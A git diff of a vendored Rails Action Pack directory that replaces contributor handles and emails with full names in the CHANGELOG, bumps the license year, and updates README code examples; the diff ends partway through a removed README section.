-* Added :disable_with option to FormTagHelper#submit_tag to allow for easily disabled submit buttons with different text [DHH]
+* Added :disable_with option to FormTagHelper#submit_tag to allow for easily disabled submit buttons with different text [David Heinemeier Hansson]
 
 * Make auto_link handle nil by returning quickly if blank? [Scott Barron]
 
@@ -2837,7 +2983,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
       page.visual_effect :fade, 'notice'
     end
 
-* Add session ID to default logging, but remove the verbose description of every step [DHH]
+* Add session ID to default logging, but remove the verbose description of every step [David Heinemeier Hansson]
 
 * Add the following RJS methods: [Sam Stephenson]
   
@@ -2859,7 +3005,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Update to Prototype 1.4.0 final [Sam Stephenson]
 
-* Added form_remote_for (form_for meets form_remote_tag) [DHH]
+* Added form_remote_for (form_for meets form_remote_tag) [David Heinemeier Hansson]
 
 * Update to script.aculo.us 1.5.0_rc6
 
@@ -2867,7 +3013,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fix docs for text_area_tag. #3083. [Christopher Cotton]
 
-* Change form_for and fields_for method signatures to take object name and object as separate arguments rather than as a Hash. [DHH]
+* Change form_for and fields_for method signatures to take object name and object as separate arguments rather than as a Hash. [David Heinemeier Hansson]
 
 * Introduce :selected option to the select helper.  Allows you to specify a selection other than the current value of object.method.  Specify :selected => nil to leave all options unselected.  #2991 [Jonathan Viney <jonathan@bluewire.net.nz>]
 
@@ -2885,7 +3031,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Pass multiple arguments to Element.show and Element.hide in JavaScriptGenerator instead of using iterators. [Sam Stephenson]
 
-* Improve expire_fragment documentation.  #2966 [court3nay@gmail.com]
+* Improve expire_fragment documentation.  #2966 [court3nay]
 
 * Correct docs for automatic layout assignment. #2610. [Charles M. Gerungan]
 
@@ -2907,7 +3053,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Correct time_zone_options_for_select docs.  #2892 [pudeyo@rpi.com]
 
-* Remove the unused, slow response_dump and session_dump variables from error pages.  #1222 [lmarlow@yahoo.com]
+* Remove the unused, slow response_dump and session_dump variables from error pages.  #1222 [lmarlow]
 
 * Performance tweaks: use Set instead of Array to speed up prototype helper include? calls.  Avoid logging code if logger is nil.  Inline commonly-called template presence checks.  #2880, #2881, #2882, #2883 [Stefan Kaes]
 
@@ -2937,9 +3083,9 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Update documentation for render :file.  #2858 [Tom Werner]
 
-* Only include builtin filters whose filenames match /^[a-z][a-z_]*_helper.rb$/ to avoid including operating system metadata such as ._foo_helper.rb.  #2855 [court3nay@gmail.com]
+* Only include builtin filters whose filenames match /^[a-z][a-z_]*_helper.rb$/ to avoid including operating system metadata such as ._foo_helper.rb.  #2855 [court3nay]
 
-* Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables [DHH]. Examples:
+* Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables [David Heinemeier Hansson]. Examples:
 
   <% form_for :person, @person, :url => { :action => "update" } do |f| %>
     First name: <%= f.text_field :first_name %>
@@ -2972,7 +3118,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 *1.11.0* (November 7th, 2005)
 
-* Added request as instance method to views, so you can do <%= request.env["HTTP_REFERER"] %>, just like you can already access response, session, and the likes [DHH]
+* Added request as instance method to views, so you can do <%= request.env["HTTP_REFERER"] %>, just like you can already access response, session, and the likes [David Heinemeier Hansson]
 
 * Fix conflict with assert_tag and Glue gem #2255 [david.felstead@gmail.com]
 
@@ -2980,9 +3126,9 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added action_pack.rb stub so that ActionPack::Version loads properly [Sam Stephenson]
 
-* Added short-hand to assert_tag so assert_tag :tag => "span" can be written as assert_tag "span" [DHH]
+* Added short-hand to assert_tag so assert_tag :tag => "span" can be written as assert_tag "span" [David Heinemeier Hansson]
 
-* Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies [DHH]. Example:
+* Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies [David Heinemeier Hansson]. Example:
 
     class ApplicationController < ActionController::Base
       before_filter :authenticate
@@ -2997,7 +3143,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
       skip_before_filter :authenticate
     end
 
-* Added redirect_to :back as a short-hand for redirect_to(request.env["HTTP_REFERER"]) [DHH]
+* Added redirect_to :back as a short-hand for redirect_to(request.env["HTTP_REFERER"]) [David Heinemeier Hansson]
 
 * Change javascript_include_tag :defaults to not use script.aculo.us loader, which facilitates the use of plugins for future script.aculo.us and third party javascript extensions, and provide register_javascript_include_default for plugins to specify additional JavaScript files to load. Removed slider.js and builder.js from actionpack. [Thomas Fuchs]
 
@@ -3007,7 +3153,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
 
-* Fix that render :text didn't interpolate instance variables #2629, #2626 [skaes]
+* Fix that render :text didn't interpolate instance variables #2629, #2626 [Stefan Kaes]
 
 * Fix line number detection and escape RAILS_ROOT in backtrace Regexp [Nicholas Seckar]
 
@@ -3026,7 +3172,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 *1.10.2* (October 26th, 2005)
 
-* Reset template variables after using render_to_string [skaes@web.de]
+* Reset template variables after using render_to_string [Stefan Kaes]
 
 * Expose the session model backing CGI::Session
 
@@ -3042,7 +3188,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 *1.10.0* (October 16th, 2005)
 
-* Make string-keys locals assigns optional. Add documentation describing depreciated state [skaes@web.de]
+* Make string-keys locals assigns optional. Add documentation describing depreciated state [Stefan Kaes]
 
 * Improve line number detection for template errors [Nicholas Seckar]
 
@@ -3050,7 +3196,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Upgrade to Prototype 1.4.0_rc0 [Sam Stephenson]
 
-* Added assert_vaild. Reports the proper AR error messages as fail message when the passed record is invalid [Tobias Luetke]
+* Added assert_vaild. Reports the proper AR error messages as fail message when the passed record is invalid [Tobias Lütke]
 
 * Add temporary support for passing locals to render using string keys [Nicholas Seckar]
 
@@ -3058,11 +3204,11 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Raise an exception if an attempt is made to insert more session data into the ActiveRecordStore data column than the column can hold. #2234.  [justin@textdrive.com]
 
-* Removed references to assertions.rb from actionpack assert's backtraces. Makes error reports in functional unit tests much less noisy. [Tobias Luetke]
+* Removed references to assertions.rb from actionpack assert's backtraces. Makes error reports in functional unit tests much less noisy. [Tobias Lütke]
 
 * Updated and clarified documentation for JavaScriptHelper to be more concise about the various options for including the JavaScript libs. [Thomas Fuchs]
 
-* Hide "Retry with Breakpoint" button on error pages until feature is functional. [DHH]
+* Hide "Retry with Breakpoint" button on error pages until feature is functional. [David Heinemeier Hansson]
 
 * Fix Request#host_with_port to use the standard port when Rails is behind a proxy. [Nicholas Seckar]
 
@@ -3080,7 +3226,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Misc doc fixes (typos/grammar/etc). #2445. [coffee2code]
 
-* Speed improvement for session_options. #2287. [skaes@web.de]
+* Speed improvement for session_options. #2287. [Stefan Kaes]
 
 * Make cacheing binary files friendly with Windows. #1975. [Rich Olson]
 
@@ -3092,9 +3238,9 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Make assert_tag :children count appropriately. Closes #2181. [jamie@bravenet.com]
 
-* Forced newer versions of RedCloth to use hard breaks [DHH]
+* Forced newer versions of RedCloth to use hard breaks [David Heinemeier Hansson]
 
-* Added new scriptaculous options for auto_complete_field #2343 [m.stienstra@fngtps.com]
+* Added new scriptaculous options for auto_complete_field #2343 [Manfred Stienstra]
 
 * Don't prepend the asset host if the string is already a fully-qualified URL
 
@@ -3108,13 +3254,13 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Keep flash after components are rendered. #2291 [Rick Olson, Scott]
 
-* Shorten IE file upload path to filename only to match other browsers.  #1507 [court3nay@gmail.com]
+* Shorten IE file upload path to filename only to match other browsers.  #1507 [court3nay]
 
 * Fix open/save dialog in IE not opening files send with send_file/send_data, #2279 [Thomas Fuchs]
 
-* Fixed that auto_discovery_link_tag couldn't take a string as the URL [DHH]
+* Fixed that auto_discovery_link_tag couldn't take a string as the URL [David Heinemeier Hansson]
 
-* Fixed problem with send_file and WEBrick using stdout #1812 [DHH]
+* Fixed problem with send_file and WEBrick using stdout #1812 [David Heinemeier Hansson]
 
 * Optimized tag_options to not sort keys, which is no longer necessary when assert_dom_equal and friend is available #1995 [skae]
 
@@ -3132,7 +3278,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Speed up cookie use by decreasing string copying #2194 [skae]
 
-* Fixed access to "Host" header with requests made by crappy old HTTP/1.0 clients #2124 [Marcel Molina]
+* Fixed access to "Host" header with requests made by crappy old HTTP/1.0 clients #2124 [Marcel Molina Jr.]
 
 * Added easy assignment of fragment cache store through use of symbols for included stores (old way still works too)
 
@@ -3182,7 +3328,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Avoid extending view instance with helper modules each request. Closes #1979
 
-* Performance improvements to CGI methods. Closes #1980 [Skaes]
+* Performance improvements to CGI methods. Closes #1980 [Stefan Kaes]
 
 * Added :post option to UrlHelper#link_to that makes it possible to do POST requests through normal ahref links using Javascript
 
@@ -3199,13 +3345,13 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Drop trailing \000 if present on RAW_POST_DATA (works around bug in Safari Ajax implementation) #918
 
-* Fix observe_field to fall back to event-based observation if frequency <= 0 #1916 [michael@schubert.cx]
+* Fix observe_field to fall back to event-based observation if frequency <= 0 #1916 [Michael Schubert]
 
 * Allow use of the :with option for submit_to_remote #1936 [jon@instance-design.co.uk]
 
-* AbstractRequest#domain returns nil when host is an ip address #2012 [kevin.clark@gmail.com]
+* AbstractRequest#domain returns nil when host is an ip address #2012 [Kevin Clark]
 
-* ActionController documentation update #2051 [fbeausoleil@ftml.net]
+* ActionController documentation update #2051 [François Beausoleil]
 
 * Yield @content_for_ variables to templates #2058 [Sam Stephenson]
 
@@ -3221,7 +3367,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fix Routing to handle :some_param => nil better. [Nicholas Seckar, Luminas]
 
-* Add support for :include with pagination (subject to existing constraints for :include with :limit and :offset) #1478 [michael@schubert.cx]
+* Add support for :include with pagination (subject to existing constraints for :include with :limit and :offset) #1478 [Michael Schubert]
 
 * Prevent the benchmark module from blowing up if a non-HTTP/1.1 request is processed
 
@@ -3249,7 +3395,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added support for per-action session management #1763
 
-* Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 [Stephan Kaes]. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
+* Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 [Stefan Kaes]. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
 
 * Added options hash as third argument to FormHelper#input, so you can do input('person', 'zip', :size=>10) #1719 [jeremye@bsa.ca.gov]
 
@@ -3276,7 +3422,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fixed that Action View should always use the included Builder, never attempt to require the gem, to ensure compatibility
 
-* Added that nil options are not included in tags, so tag("p", :ignore => nil) now returns <p /> not <p ignore="" />  but that tag("p", :ignore => "") still includes it #1465 [michael@schuerig.de]
+* Added that nil options are not included in tags, so tag("p", :ignore => nil) now returns <p /> not <p ignore="" />  but that tag("p", :ignore => "") still includes it #1465 [Michael Schuerig]
 
 * Fixed that UrlHelper#link_to_unless/link_to_if used html_escape on the name if no link was to be applied. This is unnecessary and breaks its use with images #1649 [joergd@pobox.com]
 
@@ -3314,9 +3460,9 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added javascript_include_tag :defaults shortcut that'll include all the default javascripts included with Action Pack (prototype, effects, controls, dragdrop)
 
-* Cache several controller variables that are expensive to calculate #1229 [skaes@web.de]
+* Cache several controller variables that are expensive to calculate #1229 [Stefan Kaes]
 
-* The session class backing CGI::Session::ActiveRecordStore may be replaced with any class that duck-types with a subset of Active Record.  See docs for details #1238 [skaes@web.de]
+* The session class backing CGI::Session::ActiveRecordStore may be replaced with any class that duck-types with a subset of Active Record.  See docs for details #1238 [Stefan Kaes]
 
 * Fixed that hashes was not working properly when passed by GET to lighttpd #849 [Nicholas Seckar]
 
@@ -3333,7 +3479,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
       <p>Product 2</p>
     <% end %>
 
-* Added :field_name option to DateHelper#select_(year|month|day) to deviate from the year/month/day defaults #1266 [Marcel Molina]
+* Added :field_name option to DateHelper#select_(year|month|day) to deviate from the year/month/day defaults #1266 [Marcel Molina Jr.]
 
 * Added JavascriptHelper#draggable_element and JavascriptHelper#drop_receiving_element to facilitate easy dragging and dropping through the script.aculo.us libraries #1578 [Thomas Fuchs]
 
@@ -3377,7 +3523,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added named routes (NEEDS BETTER DESCRIPTION) #1434 [Nicholas Seckar]
 
-* Improved AbstractRequest documentation #1483 [court3nay@gmail.com]
+* Improved AbstractRequest documentation #1483 [court3nay]
 
 * Added ActionController::Base.allow_concurrency to control whether the application is thread-safe, so multi-threaded servers like WEBrick knows whether to apply a mutex around the performance of each action. Turned off by default. EXPERIMENTAL FEATURE.
 
@@ -3389,7 +3535,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added :xhr => true/false option to verify so you can ensure that a request is coming from an Ajax call or not #1464 [Thomas Fuchs]
 
-* Added tag_options as a third parameter to AssetHelper#auto_discovery_link_tag to control options like the title of the link #1430 [kevin.clark@gmail.com]
+* Added tag_options as a third parameter to AssetHelper#auto_discovery_link_tag to control options like the title of the link #1430 [Kevin Clark]
 
 * Added option to pass in parameters to CaptureHelper#capture, so you can create more advanced view helper methods #1466 [duane.johnson@gmail.com]. Example:
 
@@ -3415,11 +3561,11 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added button_to as a form-based solution to deal with harmful actions that should be hidden behind POSTs. This makes it just as easy as link_to to create a safe trigger for actions like destroy, although it's limited by being a block element, the fixed look, and a no-no inside other forms. #1371 [tom@moertel.com]
 
-* Fixed image_tag so an exception is not thrown just because the image is missing and alt value can't be generated #1395 [Marcel]
+* Fixed image_tag so an exception is not thrown just because the image is missing and alt value can't be generated #1395 [Marcel Molina Jr.]
 
 * Added a third parameter to TextHelper#auto_link called href_options for specifying additional tag options on the links generated #1401 [tyler.kovacs@gmail.com]. Example: auto_link(text, :all, { :target => "_blank" }) to have all the generated links open in a new window.
 
-* Fixed TextHelper#highlight to return the text, not nil, if the phrase is blank #1409 [patrick@lenz.sh]
+* Fixed TextHelper#highlight to return the text, not nil, if the phrase is blank #1409 [Patrick Lenz]
 
 * Fixed TagHelper such that :name and 'name' keys in the options doesn't result in two attributes #1455 [take_tk]
 
@@ -3433,7 +3579,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Allow distance_of_time_in_words to work with any value that responds to #to_time (like dates) #969
 
-* Support :render option for :verify #1440 [TobiasLuetke]
+* Support :render option for :verify #1440 [Tobias Lütke]
 
 * Updated vendor copy of html-scanner lib to 0.5.2, for bug fixes and optimizations. The :content option may be used as expected--to find a tag whose textual content is a particular value--in assert_tag, now.
 
@@ -3547,7 +3693,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fixed action/fragment caching using the filestore when a directory and a file wanted to use the same name. Now there's a .cache prefix that sidesteps the conflict #1188 [imbcmdth@hotmail.com]
 
-* Fixed missing id uniqueness in FormTag#radio_button #1207 [Jarkko]
+* Fixed missing id uniqueness in FormTag#radio_button #1207 [Jarkko Laine]
 
 * Fixed assert_redirected_to to work with :only_path => false #1204 [Alisdair McDiarmid]
 
@@ -3652,7 +3798,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added support for web servers that use PATH_INFO instead of REQUEST_URI like IIS #1014 [BradG/Nicholas Seckar]
 
-* Added graceful handling of PUT, DELETE, and OPTIONS requests for a complete coverage of REST functionality #1136 [joshknowles@gmail.com]
+* Added graceful handling of PUT, DELETE, and OPTIONS requests for a complete coverage of REST functionality #1136 [Josh Knowles]
 
 * Fixed that you can now pass an alternative :href option to link_to_function/remote in order to point to somewhere other than # if the javascript fails or is turned off. You can do the same with form_remote_tag by passing in :action. #1113 [Sam Stephenson]
 
@@ -3676,7 +3822,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fixed pagination to work with joins #1034 [scott@sigkill.org]
 
-* Fixed that *rest parameter in map.connect couldn't accept an empty list #1037 [Dee.Zsombor@gmail.com]
+* Fixed that *rest parameter in map.connect couldn't accept an empty list #1037 [Dee Zsombor]
 
 * Added :confirm option to link_to_remote just like link_to has #1082 [yrashk@fp.org.ua]
 
@@ -3696,7 +3842,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added JavascriptHelper#periodically_call_remote in order to create areas of a page that update automatically at a set interval #945 [Jon Tirsen]
 
-* Fixed Cache#expire_matched_fragments that couldn't recognize the difference between string and url_for options #1030 [skaes@web.de]
+* Fixed Cache#expire_matched_fragments that couldn't recognize the difference between string and url_for options #1030 [Stefan Kaes]
 
 * Added simulation of @request.request_uri in functional tests #1038 [Jamis Buck]
 
@@ -3739,7 +3885,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added :position option to link_to_remote/form_remote_tag that can be either :before, :top, :bottom, or :after and specifies where the return from the method should be inserted #952 [Matthew McCray/Sam Stephenson]
 
-* Added Effect.Highlight to prototype.js to do Yellow Fade Technique (of 37signals' fame) on any container #952 [Sam Stephenson/courtenay]
+* Added Effect.Highlight to prototype.js to do Yellow Fade Technique (of 37signals' fame) on any container #952 [Sam Stephenson/court3nay]
 
 * Added include_seconds option as the third parameter to distance_of_time_in_words which will render "less than a minute" in higher resolution ("less than 10 seconds" etc) #944 [thomas@fesch.at]
 
@@ -3753,9 +3899,9 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added trailing_slash option to url_for, so you can generate urls ending in a slash. Note that is currently not recommended unless you need it for special reasons since it breaks caching #937 [stian@grytoyr.net]
 
-* Added expire_matched_fragments(regular_expression) to clear out a lot of fragment caches at once #927 [technoweenie@gmail.com]
+* Added expire_matched_fragments(regular_expression) to clear out a lot of fragment caches at once #927 [Rick Olson]
 
-* Fixed the problems with : and ? in file names for fragment caches on Windows #927 [technoweenie@gmail.com]
+* Fixed the problems with : and ? in file names for fragment caches on Windows #927 [Rick Olson]
 
 * Added TextHelper#human_size for formatting file sizes, like human_size(1234567) => 1.2 MB #943 [thomas@fesch.at]
 
@@ -3772,7 +3918,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added pagination support through both a controller and helper add-on #817 [Sam Stephenson]
 
-* Fixed routing and helpers to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Luetke]
+* Fixed routing and helpers to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Lütke]
 
 * Added a much improved Flash module that allows for finer-grained control on expiration and allows you to flash the current action #839 [Caio Chassot]. Example of flash.now:
 
@@ -3831,7 +3977,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fixed options_for_select on selected line issue #624 [Florian Weber]
 
-* Added CaptureHelper with CaptureHelper#capture and CaptureHelper#content_for. See documentation in helper #837 [Tobias Luetke]
+* Added CaptureHelper with CaptureHelper#capture and CaptureHelper#content_for. See documentation in helper #837 [Tobias Lütke]
 
 * Fixed :anchor use in url_for #821 [Nicholas Seckar]
 
@@ -3967,7 +4113,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fixed the ordering of attributes in the xml-decleration of Builder #540 [woeye]
 
-* Added @request.raw_post as a convenience access to @request.env['RAW_POST_DATA'] #534 [Tobias Luetke]
+* Added @request.raw_post as a convenience access to @request.env['RAW_POST_DATA'] #534 [Tobias Lütke]
 
 * Added support for automatic id-based indexing for lists of items #532 [dblack]. Example:
 
@@ -4057,13 +4203,13 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fixed url rewriter confusion when the controller or action name was a substring of the controller_prefix or action_prefix
 
-* Added conditional layouts like <tt>layout "weblog_standard", :except => :rss</tt> #452 [Marcel Molina]
+* Added conditional layouts like <tt>layout "weblog_standard", :except => :rss</tt> #452 [Marcel Molina Jr.]
 
 * Fixed that MemCacheStore wasn't included by default and added default MemCache object pointing to localhost #447 [Lucas Carlson]
 
-* Added fourth argument to render_collection_of_partials that allows you to specify local_assigns -- just like render_partial #432 [zenspider]
+* Added fourth argument to render_collection_of_partials that allows you to specify local_assigns -- just like render_partial #432 [Ryan Davis]
 
-* Fixed that host would choke when cgi.host returned nil #432 [Tobias Luetke]
+* Fixed that host would choke when cgi.host returned nil #432 [Tobias Lütke]
 
 * Added that form helpers now take an index option #448 [Tim Bates]
 
@@ -4095,7 +4241,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
       redirect_to(:controller => "account", :action => "login") unless @session[:authenticated]
     end
 
-* Added conditional filters #431 [Marcel]. Example:
+* Added conditional filters #431 [Marcel Molina Jr.]. Example:
 
     class JournalController < ActionController::Base
       # only require authentication if the current action is edit or delete
@@ -4129,7 +4275,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added second boolean parameter to Base.redirect_to_url and Response#redirect to control whether the redirect is permanent or not (301 vs 302) #375 [Hodel]
 
-* Fixed redirects when the controller and action is named the same. Still haven't fixed same controller, module, and action, though #201 [Josh]
+* Fixed redirects when the controller and action is named the same. Still haven't fixed same controller, module, and action, though #201 [Josh Peek]
 
 * Fixed problems with running multiple functional tests in Rails under 1.8.2 by including hack for test/unit weirdness
 
@@ -4139,7 +4285,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 *1.1.0*
 
 * Added search through session to clear out association caches at the end of each request. This makes it possible to place Active Record objects
-  in the session without worrying about stale data in the associations (the main object is still subject to caching, naturally) #347 [Tobias Luetke]
+  in the session without worrying about stale data in the associations (the main object is still subject to caching, naturally) #347 [Tobias Lütke]
 
 * Added more informative exception when using helper :some_helper and the helper requires another file that fails, you'll get an
   error message tells you what file actually failed to load, rather than falling back on assuming it was the helper file itself #346 [dblack]
@@ -4159,7 +4305,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fixed that textilize and markdown would instantiate their engines even on empty strings. This also fixes #333 [Ulysses]
 
-* Fixed UrlHelper#link_to_unless so it doesn't care if the id is a string or fixnum [zenspider]
+* Fixed UrlHelper#link_to_unless so it doesn't care if the id is a string or fixnum [Ryan Davis]
 
 
 *1.0.1*
@@ -4176,7 +4322,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 * Fixed DateHelper#date_select so that you can pass include_blank as an option even if you don't use start_year and end_year #59 [what-a-day]
 
 * Added that controllers will now search for a layout in $template_root/layouts/$controller_name.r(html|xml), so PostsController will look
-  for layouts/posts.rhtml or layouts/posts.rxml and automatically configure this layout if found #307 [Marcel]
+  for layouts/posts.rhtml or layouts/posts.rxml and automatically configure this layout if found #307 [Marcel Molina Jr.]
 
 * Added FormHelper#radio_button to work with radio buttons like its already possible with check boxes [Michael Koziarski]
 
@@ -4221,11 +4367,11 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 * Added that render_partial will always by default include a counter with value 1 unless there is a counter passed in via the 
   local_assigns hash that overrides it. As a result, render_collection_of_partials can still be written in terms of render_partial
   and partials that make use of a counter can be called without problems from both render_collection_of_partials as well as
-  render_partial #295 [marcel]
+  render_partial #295 [Marcel Molina Jr.]
 
 * Fixed CgiRequest#out to fall back to #write if $stdout doesn't have #syswrite [Jeremy Kemper]
 
-* Fixed all helpers so that they use XHTML compliant double quotes for values instead of single quotes [htonl/bitsweat]
+* Fixed all helpers so that they use XHTML compliant double quotes for values instead of single quotes [htonl/Jeremy Kemper]
 
 * Added link_to_image(src, options = {}, html_options = {}). Documentation:
 
@@ -4245,11 +4391,11 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fixed to_input_field_tag so it no longer explicitly uses InstanceTag.value if value was specified in the options hash [evl]
 
-* Added the possibility of having validate be protected for assert_(in)valid_column #263 [Tobias Luetke]
+* Added the possibility of having validate be protected for assert_(in)valid_column #263 [Tobias Lütke]
 
 * Added that ActiveRecordHelper#form now calls url_for on the :action option.
 
-* Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 [Tobias Luetke]. Examples:
+* Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 [Tobias Lütke]. Examples:
 
     # Calls Controller#miletone with a GET request
     process :milestone
@@ -4406,9 +4552,9 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added a hidden field to checkboxes generated with FormHelper#check_box that will make sure that the unchecked value (usually 0)
   is sent even if the checkbox is not checked. This relieves the controller from doing custom checking if the checkbox wasn't
-  checked. BEWARE: This might conflict with your run-on-the-mill work-around code. [Tobias Luetke]
+  checked. BEWARE: This might conflict with your run-on-the-mill work-around code. [Tobias Lütke]
 
-* Fixed error_message_on to just use the first if more than one error had been added [marcel]
+* Fixed error_message_on to just use the first if more than one error had been added [Marcel Molina Jr.]
 
 * Fixed that URL rewriting with /controller/ was working but /controller was not and that you couldn't use :id on index [geech]
 
@@ -4528,7 +4674,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added caching for compiled ERb templates. On Basecamp, it gave between 8.5% and 71% increase in performance [Andreas Schwarz].
 
-* Added implicit counter variable to render_collection_of_partials [Marcel]. From the docs:
+* Added implicit counter variable to render_collection_of_partials [Marcel Molina Jr.]. From the docs:
 
     <%= render_collection_of_partials "ad", @advertisements %>
     
diff --git a/vendor/rails/actionpack/MIT-LICENSE b/vendor/rails/actionpack/MIT-LICENSE
index 13c90d46..e7accc5e 100644
--- a/vendor/rails/actionpack/MIT-LICENSE
+++ b/vendor/rails/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2008 David Heinemeier Hansson
+Copyright (c) 2004-2009 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/vendor/rails/actionpack/README b/vendor/rails/actionpack/README
index 6090089b..e4ce4aa0 100644
--- a/vendor/rails/actionpack/README
+++ b/vendor/rails/actionpack/README
@@ -10,7 +10,7 @@ Action Pack implements these actions as public methods on Action Controllers
 and uses Action Views to implement the template rendering. Action Controllers
 are then responsible for handling all the actions relating to a certain part
 of an application. This grouping usually consists of actions for lists and for
-CRUDs revolving around a single (or a few) model objects. So ContactController
+CRUDs revolving around a single (or a few) model objects. So ContactsController
 would be responsible for listing contacts, creating, deleting, and updating
 contacts. A WeblogController could be responsible for both posts and comments.
 
@@ -33,7 +33,7 @@ A short rundown of the major features:
 * Actions grouped in controller as methods instead of separate command objects
   and can therefore share helper methods
 
-    BlogController < ActionController::Base
+    CustomersController < ActionController::Base
       def show
         @customer = find_customer
       end
@@ -42,7 +42,7 @@ A short rundown of the major features:
         @customer = find_customer
         @customer.attributes = params[:customer]
         @customer.save ? 
-          redirect_to(:action => "display") : 
+          redirect_to(:action => "show") :
           render(:action => "edit")
       end
       
@@ -59,7 +59,7 @@ A short rundown of the major features:
       Title: <%= post.title %>
     <% end %>
 
-    All post titles: <%= @post.collect{ |p| p.title }.join ", " %>
+    All post titles: <%= @posts.collect{ |p| p.title }.join ", " %>
 
     <% unless @person.is_client? %>
       Not for clients to see...
@@ -123,7 +123,7 @@ A short rundown of the major features:
     <%= text_field "post", "title", "size" => 30 %>
     <%= html_date_select(Date.today) %>
     <%= link_to "New post", :controller => "post", :action => "new" %>
-    <%= truncate(post.title, 25) %>
+    <%= truncate(post.title, :length => 25) %>
  
   {Learn more}[link:classes/ActionView/Helpers.html]
 
@@ -177,21 +177,6 @@ A short rundown of the major features:
   {Learn more}[link:classes/ActionView/Helpers/JavaScriptHelper.html]
 
 
-* Pagination for navigating lists of results
-
-    # controller
-    def list
-      @pages, @people =
-        paginate :people, :order => 'last_name, first_name'
-    end
-
-    # view
-    <%= link_to "Previous page", { :page => @pages.current.previous } if @pages.current.previous %>
-    <%= link_to "Next page", { :page => @pages.current.next } if @pages.current.next %>
-
-  {Learn more}[link:classes/ActionController/Pagination.html]
-
-
 * Easy testing of both controller and rendered template through ActionController::TestCase
 
     class LoginControllerTest < ActionController::TestCase
@@ -215,11 +200,11 @@ A short rundown of the major features:
     If Active Record is used as the model, you'll have the database debugging
     as well:
 
-    Processing WeblogController#create (for 127.0.0.1 at Sat Jun 19 14:04:23)
-    Params: {"controller"=>"weblog", "action"=>"create",  
+    Processing PostsController#create (for 127.0.0.1 at Sat Jun 19 14:04:23)
+    Params: {"controller"=>"posts", "action"=>"create",
              "post"=>{"title"=>"this is good"} }
     SQL (0.000627) INSERT INTO posts (title) VALUES('this is good')
-    Redirected to http://test/weblog/display/5
+    Redirected to http://example.com/posts/5
     Completed in 0.221764 (4 reqs/sec) | DB: 0.059920 (27%)
 
     You specify a logger through a class method, such as:
@@ -256,30 +241,6 @@ A short rundown of the major features:
   {Learn more}[link:classes/ActionController/Caching.html]
 
 
-* Component requests from one controller to another
-
-    class WeblogController < ActionController::Base
-      # Performs a method and then lets hello_world output its render
-      def delegate_action
-        do_other_stuff_before_hello_world
